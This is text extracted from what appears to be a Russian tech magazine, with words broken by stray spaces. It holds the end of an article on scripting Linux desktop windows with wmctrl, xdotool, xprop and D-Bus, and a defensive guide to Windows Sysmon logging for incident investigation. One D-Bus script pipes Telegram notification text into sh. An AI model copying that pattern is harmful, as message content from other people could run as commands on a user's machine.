Оп ция    добав ляет  четыре  допол нитель ных  стол бца  в  середи не  вывода
коман ды. В них отра жены дан ные о сме щении окон по осям X и Y, а так же их
ширина и высота соот ветс твен но. В моем слу чае я сна чала исполь зовал дан‐ 
ные в точ ности, как их вывела коман да. Но при под ста нов ке в сце нарий рас‐ 
положе ние  окна  QupZilla  по  оси  Y  по  какой‐то  при чине  отли чалось  от  рас‐ 
четно го, поэто му его приш лось нем ного под коррек тировать вруч ную.

‐G

#!/bin/sh
if [ ‐f /tmp/.telega.half ]; then
   wmctrl ‐r Telegram ‐e '0,900,55,380,693' ‐b add,below
   wmctrl ‐r QupZilla ‐e '0,0,26,1280,726'
   rm /tmp/.telega.half
else
   wmctrl ‐r QupZilla ‐e '0,0,26,900,693'
   wmctrl ‐r Telegram ‐e '0,900,55,380,693' ‐b remove,below
   touch /tmp/.telega.half
fi

При  пер вом  запус ке  этот  скрипт  сож мет  окно  бра узе ра  с  пра вой  сто роны
и  покажет  в  осво бодив шемся  прос транс тве  окно  мес сен дже ра.  Вто рой
запуск зак роет мес сен джер и вер нет окно бра узе ра в преж нее сос тояние.

Ок на бра узе ра и мес сен дже ра на одном экра не

XDOTOOL
Telegram,  который  мы  исполь зовали  в  при мере  с  бра узе ром  и  мес сен дже‐ 
ром, сам по себе неп лохо управля ется сочета ниями кла виш. И все‐таки одно‐ 
го шор тка та мне не хва тает. Того, который вос ста нав ливал бы окно из лот ка.
Wmctrl не всег да спо собен решить эту задачу. И пока встро енные воз можнос‐ 
ти  мес сен дже ра  не  могут  нас  порадо вать  подоб ной  фун кци ональ ностью,
поможет ути лита  . Она поз воля ет эму лиро вать дей ствия мышью, а зна‐ 
чит, и повесить их на сочета ния кла виш.

xdotool

Пос коль ку рабочее окру жение у меня Plasma, я соз дал еще один вид жет
сис темно го лот ка, отклю чив в его нас трой ках все пун кты,  кро ме «Сос тояния
при ложе ний», а всем эле мен там при ложе ний, кро ме Telegram, ука зал пожиз‐ 
ненную невиди мость («Всег да скры вать»). Сам же Telegram дол жен быть всег‐ 
да виден.

Нас трой ки вто рого сис темно го лот ка

Ос талось толь ко опре делить коор динаты знач ка «Телег рама» при заб локиро‐ 
ван ных  вид жетах,  уста новив  на  него  кур сор  мыши  и  выпол нив  в  тер минале
такую коман ду:

$ xdotool getmouselocation

По луче ние коор динат кур сора

Из  все го мно гооб разия получен ных дан ных берем  коор динаты X,  Y  (в моем
слу чае  —  1238  и  776)  и  под став ляем  в  коман ду,  переме щающую  кур сор
мыши в задан ное положе ние из любой области экра на и эму лиру ющую одно
нажатие левой кноп ки.

#!/bin/sh
xdotool mousemove 1238 776 click 1 mousemove 640 400

Да лее  скрипт  мож но  при вязать  к  ком бинации  кла виш  (или,  как  у  меня,
к  одной — Menu),  что бы  при  их  нажатии  появ лялось  окно  прог раммы. Пов‐ 
торное  нажатие  того  же  сочета ния  кла виш  вновь  свер нет  окно  Telegram
в  трей.  Для  удобс тва  навига ции  в  скрипт  добав лен  воз врат  кур сора  мыши
в центр экра на.

XWININFO
Ути лита  xwininfo  показы вает  на  экра не  боль шое  количес тво  харак терис тик
выб ранно го  окна:  ID,  наз вание,  раз меры,  отсту пы от  кра ев  экра на,  тол щину
гра ниц,  цве товую  палит ру  и  мно гое  дру гое.  Ути лита  wmctrl,  содер жащая
в  стро ке  парамет ров  опцию  ,  поз воля ет  при менить  ука зан ные
парамет ры к окну, наведя на него кур сор и щел кнув мышью:

:SELECT:

$ wmctrl ‐r :SELECT: ‐T <название>

XPROP
Час то  исполь зуемая  в  раз личных  сце нари ях  ути лита  xprop  пред назна чена
для  отоб ражения  свой ств  окон  и  шриф тов.  В  некото рых  момен тах  фун кци‐ 
ональ ность  xprop  пересе кает ся  с  фун кци ональ ностью  дру гих  ути лит.  Нап‐ 
ример,  что бы  опре делить  активное  окно,  мож но  выпол нить  одну  из  сле‐ 
дующих команд:

$ xdotool getwindowname $(xdotool getactivewindow)
$ xwininfo ‐int ‐id $(xdotool getactivewindow) | awk ‐F\" '/
xwininfo:/ { print $2; exit }'
$ xwininfo ‐id $(xprop ‐root | awk '/NET_ACTIVE_WINDOW/ { print $5; 
exit }') | awk ‐F\" '/xwininfo:/ { print $2; exit }'

Кро ме того, xprop мож но исполь зовать, ког да нуж но изме нить свой ства окон
или  шриф тов.  В  одной  из  прош лых  ста тей  я  рас ска зывал  про  трюк
с  эффектом  раз мытия  для  полуп розрач ного  окна  Yakuake.  Тот  же  при ем
для Konsole будет выг лядеть так:

#!/bin/bash
if [ `echo $DISPLAY` ]; then
   konsolex=$(qdbus | grep konsole | cut ‐f 2 ‐d\ )
   if [ ‐n konsolex ]; then
       for konsole in $konsolex; do
           xprop ‐f _KDE_NET_WM_BLUR_BEHIND_REGION 32c ‐set _KDE_N
ET_WM_BLUR_BEHIND_REGION 0 ‐id `qdbus $konsole /konsole/MainWindow_1 
winId`;
       done
   fi
fi

D-BUS
Прак тичес ки  любой  сов ремен ный  дес ктоп ный  дис три бутив  Linux  пос тавля‐ 
ется с  сис темой меж про цес сно го  вза имо дей ствия D‐Bus. Мно гие при ложе‐ 
ния  исполь зуют  D‐Bus  для  обще ния  меж ду  собой,  ее  же  исполь зует  сре да
KDE с вер сии 4. Для нас же важ но то, что D‐Bus мож но при менить в качес тве
пос редни ка  меж ду  поль зовате лем  и  машиной,  то  есть  для  управле ния  гра‐ 
фичес кими при ложе ниями и их скрип тования.

Как при мер исполь зования D‐Bus при веду скрипт, который монито рит уве‐ 
дом ления от Telegram и при наличии в сооб щении опре делен ного триг гера —
име ни кон такта или клю чевой фра зы — авто мати чес ки откры вает при ложе ние
для  прос мотра  сооб щения.  Что бы  реали зовать  этот  замысел,  мож но  при‐ 
сово купить к D‐Bus уже извес тный нам xdotool:

#!/bin/bash
contact="Николай"
dbus‐monitor "interface='org.freedesktop.Notifications'" |\
grep ‐‐line‐buffered "string" |\
grep ‐‐line‐buffered $contact |\
grep ‐‐line‐buffered ‐e method ‐e ":" ‐e '""' ‐e urgency ‐e notify 
‐v |\
grep ‐‐line‐buffered '.*(?=string)|(?<=string).*' ‐oPi |\
grep ‐‐line‐buffered ‐v '^\s*$' |\
xargs ‐I '{}' echo {} |\
sed ‐u ‐n 's/'$contact'/xdotool mousemove 1096 66 sleep 1 click 1/p' 
|\
sh

В  качес тве  триг гера  здесь  исполь зовано  имя  кон такта,  как  оно  ука зано
в  спис ке  кон тактов.  Филь труя  и  редак тируя  новые  сооб щения  в  рам ках
монито рин га D‐Bus, на выходе получа ем имя кон такта в момент, ког да от него
при ходит  сооб щение,  и  под меня ем  его  на  модифи циро ван ную  коман ду
из пре дыду щих при меров.

По заранее вычис ленным коор динатам скрипт переме щает кур сор мыши
в  ту область,  где появ ляет ся окно нотифи кации, и секун ду спус тя эму лиру ет
клик левой кноп ки, тем самым зас тавляя «Телег рам» откры вать ся с фокусом
на отпра вите ле это го сооб щения и самом сооб щении.

ВЫВОДЫ
Нес мотря  на  то  что  гра фичес кий  софт  обыч но  пред полага ет  управле ние
мышью  и  зачас тую  весь ма  огра ничен ный  набор  ком бинаций  кла виш,
широкие воз можнос ти Linux поз воля ют соз давать сце нарии даже в этом слу‐ 
чае.

В  статье  перечис лены далеко  не  все  воз можнос ти  кон соль ных  при ложе‐ 
ний по управле нию прог рамма ми с гра фичес ким интерфей сом. Тут пред при‐ 
нята все го лишь попыт ка обоз начить наибо лее общие момен ты, с помощью
которых  каж дый мог бы нас тро ить  собс твен ный инс тру мен тарий для  выпол‐ 
нения сво их уни каль ных задач.

mailto:ostapenko.public@gmail.com
http://tripie.sweb.cz/utils/wmctrl/
https://en.wikipedia.org/wiki/Extended_Window_Manager_Hints
http://www.semicomplete.com/projects/xdotool/
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SYNACK

Тех ничес кие спе циалис ты, которые, рас сле дуя ИБ‐инци ден‐ 
ты  или  устра няя  неполад ки  при  траб лшу тин ге,  хоть  раз
пытались най ти в логах опе раци онных сис тем семей ства Mi‐
crosoft Windows реаль но важ ную для них информа цию,  зна‐ 
ют,  что  в жур налы ауди та  событий  попада ет  далеко  не  все,
что  нуж но.  Мож но  ли  испра вить  эту  ситу ацию  без  допол‐ 
нитель ных финан совых вло жений с исполь зовани ем инс тру‐ 
мен тов,  гаран тирован но  сов мести мых  с  Windows‐сре дой?
Разуме ется, мож но!

Сра зу  ого ворим ся,  что  за  рам ками  нас тоящей  статьи  оста нут ся  воп росы
осоз нанной  чис тки  логов  или  «кри вой»  нас трой ки  политик  ауди та  в  домене
(Audit Policy). Здесь мы погово рим  толь ко о  том,  как  повысить информа тив‐ 
ность и рас ширить воз можнос ти фун кции ауди та событий, исполь зуя ути литу
System Monitor (Sysmon) в Windows‐сре де (от Windows 7 для кли ент ских узлов
и от Windows Server 2008 R2 для сер веров).

SYSMON
Ути литу мож но заг рузить с веб‐сай та Microsoft Docs, из раз дела 

.  В  сос таве  Windows  Sysinternals  от  Мар ка  Рус синови ча  и  Со  есть
еще мно го полез ных ути лит,  так что най ди вре мя и «пощупай» их. Плюс заг‐ 
ляни в  .

Windows Sys‐
internals

под борку матери алов на GitHub
Но для дан ной статьи мы возь мем спе циаль ную  ,

вклю чающую  файл  кон фигура ции  Sysmon  Threat  Intelligence  Configuration
от  .  Она  ори енти рова на  имен но  на  выяв ление  инци ден тов  ИБ
и  может  выс тупить  качес твен ной  осно вой  для  соз дания  тво их  собс твен ных
фай лов кон фигура ции.

го товую сбор ку с GitHub

ION‐STORM

Ути литу  мож но  уста новить  точеч но  на  каж дое  рабочее  мес то  либо
с исполь зовани ем груп повых политик (Group Policy) в домене. В дан ном фай‐ 
ле  кон фигура ции  ука зыва ются  в  боль шинс тве  сво ем  пол ные  стан дар тные
пути для ряда прог рам мно го обес печения:

<Image condition="is">C:\Program Files\OpenVPN\bin\openvpn‐gui.exe</
Image>
<ImageLoaded condition="contains">C:\Program Files (x86)\Notepad++</
ImageLoaded>

Та ким  обра зом,  в  кон крет ной  ИТ‐инфраструк туре  это  может  пот ребовать
опре делен ного тюнин га, так как, нап ример, сог ласно кор поратив ной полити‐ 
ке  прог раммы могут  уста нав ливать ся  на  диск  ,  а  не  на  .  Инс тру мен‐ 
тарий нас толь ко гиб кий, что мож но задавать любые конс трук ции, нацелен ные
на то, что бы отсле живать опре делен ные дей ствия или исклю чать их из тво его
поля зре ния.

D:\ C:\

Пос ле уста нов ки получишь новый жур нал (Channel) Microsoft‐Windows‐Sys‐
mon/Operational, в котором Sysmon выделя ет 18 катего рий задач (Task Cate‐
gory), сре ди них: Process Create, Network Connect, Driver Load, ProcessAccess,
File Create.

АУДИТ СЕТЕВОГО ВЗАИМОДЕЙСТВИЯ
Пе рей дем к прак тичес кому при мене нию Sysmon.

Пред ставь  сетевое  вза имо дей ствие  меж ду  дву мя  узла ми  сети:  узел
А обра щает ся к узлу Б, и это обра щение не явля ется легаль ным, то есть воз‐ 
ника ет подоз рение на ИБ‐инци дент. Искать сле ды дан ного сетево го вза имо‐ 
дей ствия в опе раци онной сис теме будут в самый пос ледний момент, а нач нут
имен но  с  активно го  сетево го  обо рудо вания.  Что  нам  ска жет  меж сетевой
экран  или  мар шру тиза тор,  если  он  кон тро лиру ет  это  сетевое  вза имо дей‐ 
ствие?

<190>%ASA‐6‐302014: Teardown TCP connection 2047052539 for outside:
IP_1/60307 (DOMAIN\USER_NAME) to dmz‐0:IP_2/22 duration 0:00:16 
bytes 5675 TCP FINs (USER_NAME)

Ви дим  толь ко,  кто  IP_1  и  куда  IP_2.  По  боль шому  сче ту  тут  пот ребу ются
допол нитель ные уси лия: при дет ся в полу авто мати чес ком или руч ном режиме
ана лизи ровать  узел  А  (IP_1),  что бы  най ти  реаль ный  источник  сетевой
активнос ти.  Необ ходимо  пом нить,  что  если  сетевая  активность  не  выходит
за  пре делы  сег мента  сети,  кон тро лиру емо го  меж сетевым  экра ном,  или  на
дан ном  меж сетевом  экра не  на  регис три руют ся  соот ветс тву ющие  события,
что зачас тую и быва ет, то ничего най ти в логах не получит ся.

Пред положим,  тебе  уда лось  при менить  в  этот  момент  еще  и  сниф фер
или  заб лагов ремен но  ответвить  тра фик  через  SPAN‐порт  и  сфор мировать
PCAP‐файл. Что это даст?

Мы видим, кто, куда и, если очень повезет, с помощью чего, то есть в дан ном
слу чае  PuTTY.  Но  здесь  нет  ни  мес та  уста нов ки  при ложе ния,  ни  име ни
исполня емо го  фай ла,  ни  ког да  он  был  соз дан.  В  слу чае  PuTTY  это  может
показать ся надуман ными атри бута ми, но если ты ищешь сле ды несан кци они‐ 
рован ных  дей ствий  и/или  вре доно са,  то  это  уже  важ ные  вещи.  Плюс  вре‐ 
донос  может  «пред ста вить ся»  легаль ным  при ложе нием  и  под тол кнуть  тебя
зак рыть дан ный ИБ‐инци дент как лож ное сра баты вание (false positive), при няв
решение толь ко на осно вании получен ного из дам па сетево го тра фика име ни
при ложе ния.

Те перь  пос мотрим  в  канал Microsoft‐Windows‐Sysmon/Operational.  В  нем
есть сле дующее событие:

Network connection detected:
UtcTime: 2018‐02‐08 11:33:49.672
ProcessGuid: {4e1a728b‐358a‐5a7c‐0000‐00108901d000}
ProcessId: 4636
Image: C:\Users\USER_NAME\Desktop\putty.exe
User: DOMAIN\USER_NAME
Protocol: tcp
Initiated: true
SourceIsIpv6: false
SourceIp: IP_1
SourceHostname: COMP_NAME.DOMAIN
SourcePort: 60307
SourcePortName:
DestinationIsIpv6: false
DestinationIp: IP_2
DestinationHostname:
DestinationPort: 22
DestinationPortName: ssh

Ви дим,  кто,  куда,  с  помощью  чего,  а  так же  допол нитель ные  парамет ры
сетево го вза имо дей ствия (про токол, порт). Теперь в этом же канале по зна‐ 
чению  поля  ProcessGuid  най дем  событие  катего рии  Process  Create,  что бы
получить  боль ше  информа ции  непос редс твен но  об  источни ке  дан ной
сетевой активнос ти:

Process Create:
UtcTime: 2018‐02‐08 11:33:30.583
ProcessGuid: {4e1a728b‐358a‐5a7c‐0000‐00108901d000}
ProcessId: 4636
Image: C:\Users\USER_NAME\Desktop\putty.exe
CommandLine: "C:\Users\USER_NAME\Desktop\putty.exe"
CurrentDirectory: C:\Users\USER_NAME\Desktop\
User: DOMAIN\USER_NAME
LogonGuid: {4e1a728b‐268c‐5a7c‐0000‐0020d3a20600}
LogonId: 0x6A2D3
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes:     SHA256=7AFB56DD48565C3C9804F683C80EF47E5333F847F2
D3211EC11ED13AD36061E1,IMPHASH=EFE162FD3D51DED9DD66FA4AC219BF53
ParentProcessGuid: {4e1a728b‐268d‐5a7c‐0000‐001023de0600}
ParentProcessId: 3632
ParentImage: C:\Windows\explorer.exe
ParentCommandLine: C:\Windows\Explorer.EXE

Ви дим,  что  соз дан  про цесс,  в  том  чис ле  опре деле но  хеш‐зна чение  фай‐ 
ла‐пра роди теля  дан ного  про цес са.  Теперь  ты  можешь  по  хешу  про верить
этот файл:

по  кор поратив ным  «белым  спис кам»  раз решен ного  прог рам мно го  обес‐ 
печения;

•

на  соот ветс твие  эта лону  на  веб‐сай те  про изво дите ля  дан ного  прог рам‐ 
мно го обес печения;

•

в рей тин гах сер виса Threat Intelligence;•
на ресур сах типа VirusTotal.•

Сто ит отме тить, что на тех узлах сети, где есть огра ниче ния на уста- 
нов ку  средств  анти вирус ной  защиты  (тер миналы  дис петче ров,  тех- 
нологи чес кие  АРМ  и  тому  подоб ное),  ана лиз  хешей  —  в  том  чис ле
авто мати зиро ван ный, путем сопос тавле ния дан ных от сер висов Threat
Intelligence, нап ример в сис теме клас са Security  Information and Event
Management  (SIEM),  —  может  выс тупать  впол не  дей ствен ной  ком- 
пенси рующей мерой для борь бы с вре донос ным прог рам мным обес- 
печени ем.

Раз вивая  темати ку  отсле жива ния  дей ствий,  свя зан ных  с  фай лами,  нуж но
отме тить, что по умол чанию ука зан ный файл кон фигура ции поз воля ет отсле‐ 
живать  соз дание  в  опе раци онной  сис теме  фай лов,  которые  могут  быть
потен циаль ным источни ком ИБ‐инци ден тов, нап ример циф ровых сер тифика‐ 
тов, исполня емых фай лов, фай лов биб лиотек, PowerShell‐фай лов, RDP‐фай‐ 
лов, фай лов MS Office с под дер жкой мак росов, а так же фай лов, соз дава емых
в опре делен ных катало гах фай ловой сис темы:

File created:
UtcTime: 2018‐02‐08 11:50:39.893
ProcessGuid: {4e1a728b‐283b‐5a7c‐0000‐00107b384a00}
ProcessId: 2780
Image: C:\Program Files\Microsoft Office\Office15\WINWORD.EXE
TargetFilename: C:\Users\USER_NAME\Desktop\Doc1.docm
CreationUtcTime: 2018‐02‐08 11:50:39.893

Фай лы или дей ствия, которые ведут к изме нению парамет ров реес тра, так же
под лежат  про токо лиро ванию.  Нап ример,  ассо циация  типа  фай ла  DOCM,
который  был  впер вые  исполь зован  в  опе раци онной  сис теме  при  соз дании
фай ла   (см. при мер выше), с при ложе нием MS Word:Doc1.docm

Registry value set:
EventType: SetValue
UtcTime: 2018‐02‐08 11:50:40.550
ProcessGuid: {4e1a728b‐268d‐5a7c‐0000‐001023de0600}
ProcessId: 3632
Image: C:\Windows\Explorer.EXE
TargetObject: \REGISTRY\USER\S‐1‐5‐21‐1626002472‐1445367128‐358350
9536‐1113\Software\Microsoft\Windows\CurrentVersion\Explorer\
FileExts\.docm\OpenWithList\a
Details: WINWORD.EXE

Для безопас ника это может пред став лять инте рес, ког да вре донос ный файл
про изво дит  пере ассо циацию  легаль но  зак реплен ных  кор поратив ных  при‐ 
ложе ний для опре делен ных типов фай лов и тем самым «навязы вает» исполь‐ 
зование  уяз вимого  при ложе ния.  Еще  при мер:  изме нение  клю чей  реес тра
опе раци онной  сис темы,  вли яющих  на  парамет ры  заг рузки  опе раци онной
сис темы, что бы сни зить уро вень ее защищен ности пос ле оче ред ной перезаг‐ 
рузки (отклю чение средств анти вирус ной защиты или дру гих средств защиты
информа ции).

ЦЕНТРАЛИЗАЦИЯ СБОРА И ХРАНЕНИЯ СОБЫТИЙ
Что бы обес печить цен тра лизо ван ный сбор и хра нение событий из логов всех
узлов  сети,  в  том  чис ле  сок ратить  зло умыш ленни ку  воз можнос ти  очи щать
логи  на  ата куемом  узле,  прак тику ется  кон солида ция  дан ных  на  выделен ном
узле.  На  этом  узле  дол жна  быть  запуще на  служ ба  Windows  Event  Collector.
В ито ге события будут отоб ражать ся в жур нале Forwarded Events.

Нуж но сде лать сле дующие шаги на каж дом рабочем мес те либо с исполь‐ 
зовани ем груп повых политик в домене:
1. До бавить  поль зовате ля,  от  име ни  которо го  будут  собирать ся  события
«COLLECTOR», в локаль ную груп пу «Event log reader».

2. Вы пол нить от име ни адми нис тра тора (Run as) коман ду

winrm quickconfig ‐quiet

3. Вы пол нить от име ни адми нис тра тора (Run as) коман ду

wevtutil get‐log Microsoft‐Windows‐Sysmon/Operational

и получить стро ку  .channelAccess: DATA

4. Вы пол нить от име ни адми нис тра тора (Run as) коман ду

wmic useraccount where name='COLLECTOR' get sid

и получить  .UID_COLLECTOR
5. Вы пол нить от име ни адми нис тра тора (Run as) коман ду

wevtutil set‐log Microsoft‐Windows‐Sysmon/Operational /ca: DATA(A;
;0x1;;;UID_COLLECTOR)

и  получить  рас ширен ные  пра ва  дос тупа  к  каналу  Microsoft‐Windows‐Sys‐
mon/Operational для учет ной записи COLLECTOR.

6. До бавить  дан ный  узел  в  спе циаль но  соз данную  под писку  (Subscription)
для  цен тра лизо ван ного  сбо ра  и  хра нения  событий  на  выделен ном  узле
с запущен ной служ бой Windows Event Collector.

ЗАКЛЮЧЕНИЕ
На ша  прак тика  показа ла,  что  для  пол ноцен ного  ана лиза  подоз ритель ных
событий в сети зачас тую штат ных средств ведения логов не хва тает, осо бен‐ 
но если мы говорим о целевых ата ках на орга низа ции. В дан ном слу чае Sys‐
mon  может  выс тупать  высоко  пер спек тивным  решени ем,  воз можнос ти  при‐ 
мене ния  которо го,  на  наш  взгляд,  будут  огра ничи вать ся  толь ко  фан тази ей
конеч ного спе циалис та по защите информа ции.

http://goo.gl/UXAu8r
http://goo.gl/d4PAEA
http://goo.gl/s3w4ck
http://goo.gl/RLcVVJ
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